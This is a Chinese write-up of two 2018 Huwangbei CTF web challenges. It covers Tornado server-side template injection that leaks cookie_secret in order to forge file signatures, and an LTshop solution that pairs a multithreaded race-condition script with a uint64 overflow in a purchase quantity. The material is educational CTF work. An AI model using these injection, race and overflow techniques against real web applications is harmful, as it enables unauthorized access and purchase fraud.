1. 程式人生 > >2018護網杯第一場 web easy tornado LTshop超詳細解答

2018護網杯第一場 web easy tornado LTshop超詳細解答

easy tornado

這個tornado是一個python的模板,在web使用的時候給出了四個檔案,可以訪問,從提示中和url中可以看出,訪問需要檔名+檔案簽名(長度為32位,計算方式為md5(cookie_secret + md5(filename)));  flag檔名題目已給出 /fllllllllllag

        題目關鍵為如何獲取cookie,在Bp抓包的情況下沒有顯示cookie,由於是python的一個模板,首先想到的就是模板注入{{}},最終找到的位置是報錯網頁(隨便訪問一個檔案是更改它的簽名就可以進入),裡面的引數msg

http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF

該處將原有引數替換可以執行模板注入msg={{XXXXX}},需要注意,這裡過濾了大多數奇怪的字元,並且跟以往的題目不同的是,這裡不需要python的基類再尋找子函式,而是直接獲取環境的變數。

        該思想來源於題目的提示render,render是python中的一個渲染函式,也就是一種模板,通過呼叫的引數不同,生成不同的網頁,簡單的理解例子如下:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape

class custom(UIModule):

    def render(self, *args, **kwargs):
        return escape.xhtml_escape('<h1>wupeiqi</h1>')
        #return escape.xhtml_escape('<h1>wupeiqi</h1>')
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.render('index.html')
        
        
class LoginHandler(BaseHandler):
    def get(self):
        '''
        當用戶訪登入的時候我們就得給他寫cookie了,但是這裡沒有寫在哪裡寫了呢?
        在哪裡呢?之前寫的Handler都是繼承的RequestHandler,這次繼承的是BaseHandler是自己寫的Handler
        繼承自己的類,在類了加擴充套件initialize! 在這裡我們可以在這裡做獲取使用者cookie或者寫cookie都可以在這裡做
        '''
        '''
        我們知道LoginHandler物件就是self,我們可不可以self.set_cookie()可不可以self.get_cookie()
        '''
        # self.set_cookie()
        # self.get_cookie()

        self.render('login.html', **{'status': ''})

def login(request):
    #獲取使用者輸入
    login_form = AccountForm.LoginForm(request.POST)
    if request.method == 'POST':
        #判斷使用者輸入是否合法
        if login_form.is_valid():#如果使用者輸入是合法的
            username = request.POST.get('username')
            password = request.POST.get('password')
            if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
                    request.session['auth_user'] = username
                    return redirect('/index/')
            else:
                return render(request,'account/login.html',{'model': login_form,'backend_autherror':'使用者名稱或密碼錯誤'})
        else:
            error_msg = login_form.errors.as_data()
            return render(request,'account/login.html',{'model': login_form,'errors':error_msg})

    # 如果登入成功,寫入session,跳轉index
    return render(request, 'account/login.html', {'model': login_form})

我們大概可以看出來,render是一個類似模板的東西,可以使用不同的引數來訪問網頁。那麼我們在進行該題目的操作時,其實引數也是傳遞過來的,那麼是什麼引數呢。

在tornado模板中,存在一些可以訪問的快速物件,例如

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

這兩個{{}}和這個字典物件也許大家就看出來了,沒錯就是這個handler.settings物件,又黑翼天使23的部落格園日誌可知,

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是說,這裡面就是我們一下環境變數,我們正是從這裡獲取的cookie_secret

而後使用線上的或者python的計算一下就可以

import hashlib

def md5value(s):
	md5 = hashlib.md5() 
	md5.update(s) 
	return md5.hexdigest()


def mdfive2(): 
	filename = 'fllllllllllag'
	aaa ="*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%[email protected][U"
	print(md5value(filename))
	# print(md5value('*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%[email protected][U'))
	# print(''+md5value(filename))
	print(md5value(aaa+md5value(filename)))


mdfive2()

 

ltshop

該題目與上一次xman開營的題目感覺好像,上次是買彩票,向伺服器傳輸七位數字,後臺一位一位比對是否中獎,根據弱語言型別特徵我們傳遞字典

這樣後臺比較時,true跟數字是相等的,即代表我們猜中了。但這次稍有不同,每個使用者註冊送20元,5元一個大辣條,5個大辣條買一個辣條之王,99999個辣條之王才可以換flag

題目中抓包,可以看到其中不同的地方

題目採用的是router的方式來傳遞資訊,即使用router管理整個請求,通過不同的路徑資訊返回不同的響應,前面也記錄過就不多說了。買什麼辣條王和flag只是在POST中的路徑提交的有所不同,沒有所謂的POST資訊,不過注意這個兌換的時候我們可以輸入數目,這個是會被當做傳遞的資訊的。

並且還有一個關鍵的地方,這個cookie的名字很奇怪,百度了一下,看到了這麼一條

可能是這個東西吧.....go語言的一個框架,這個是有用的提示。

我們的錢只能買四包,但是由於不能像彩票那個題目一樣偽造資料,那麼只有使用條件競爭了,讓伺服器來不及反應的時候就給我們不應該給的辣條。

使用多執行緒,快速訪問買大辣條的頁面,

這是天樞的whriteup中的指令碼,就是一個多執行緒訪問而已

import multiprocessing
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
import re, os, json, requests, time
import traceback

def main():
    url = 'http://117.78.26.155:31358/buylt'
    cookie = '47c3b1ec-45d1-4b19-9bec-025a67e203b6'
    headers = {'Cookie':'go_iris_cookie='+ cookie}
    k = requests.post(url,headers=headers)
    print k.content

if __name__ == '__main__':
    results = []
    pool = multiprocessing.Pool(processes=20)
    for i in range(0xff):
        results.append(pool.apply_async(main,))
    pool.close()
    pool.join()

我們使用Bp就可以達到目的

 我們的目的不是通過競爭買到走夠多的大辣條,這是不可能的,因為需要的實在是太多了。我們需要超過五個的大辣條,用來買辣條之王,還記得上文說過的go語言嗎,這裡存在uint64溢位,但是本身大辣條數目不夠是不讓點的,所以我們才要條件競爭。

Golang:專用int溢位(Golang: on-purpose int overflow)  http://www.it1352.com/808569.html

        溢位的原理是同棧溢位類似,我們一個數字型別的記憶體空間無法儲存超過其大小的數字,超過之後就會導致數字變化,例如1無符號16位整數,最大可以表示0-2^16-1(65535),如果輸入65536則變為0,65537則又變回1了,這是符號二進位制數字的原理的,只是我們定義的數字型別不滿足條件,顯示不全。

  該題目就是這樣的一個問題,我們輸入的是份數,後臺肯定要查詢資料庫中我們的大辣條數目書否符合條件,即是否大於份數*5,才會給我們相應的辣條之王。我們的目的是資料庫判斷可以過,但是後臺也得給我們足夠的辣條之王,思路是使用整數溢位欺騙資料庫,使得我們請求的數字在伺服器看來就是1分辣條之王,而實際上是很多。

        利用資料庫查詢時會*5倍,這時我們構造溢位,64位整數可以表達的上限是0xffff ffff ffff ffff,即2^64-1,超過就會又從0開始。

        如果我們輸入請求數目為2^64/5 到資料庫中查詢的數量就是2^64表示的是0啊,據說可能或存在問題,    

        如果我們請求(2^64/5+1)。那麼到資料庫中的數字是2^64+5,由於溢位也就表示5,我們的大辣條數是滿足的啊!!,所以我們就可以得到(2^64/5+1)=3689348814741910324大辣條之王,可以換flag了。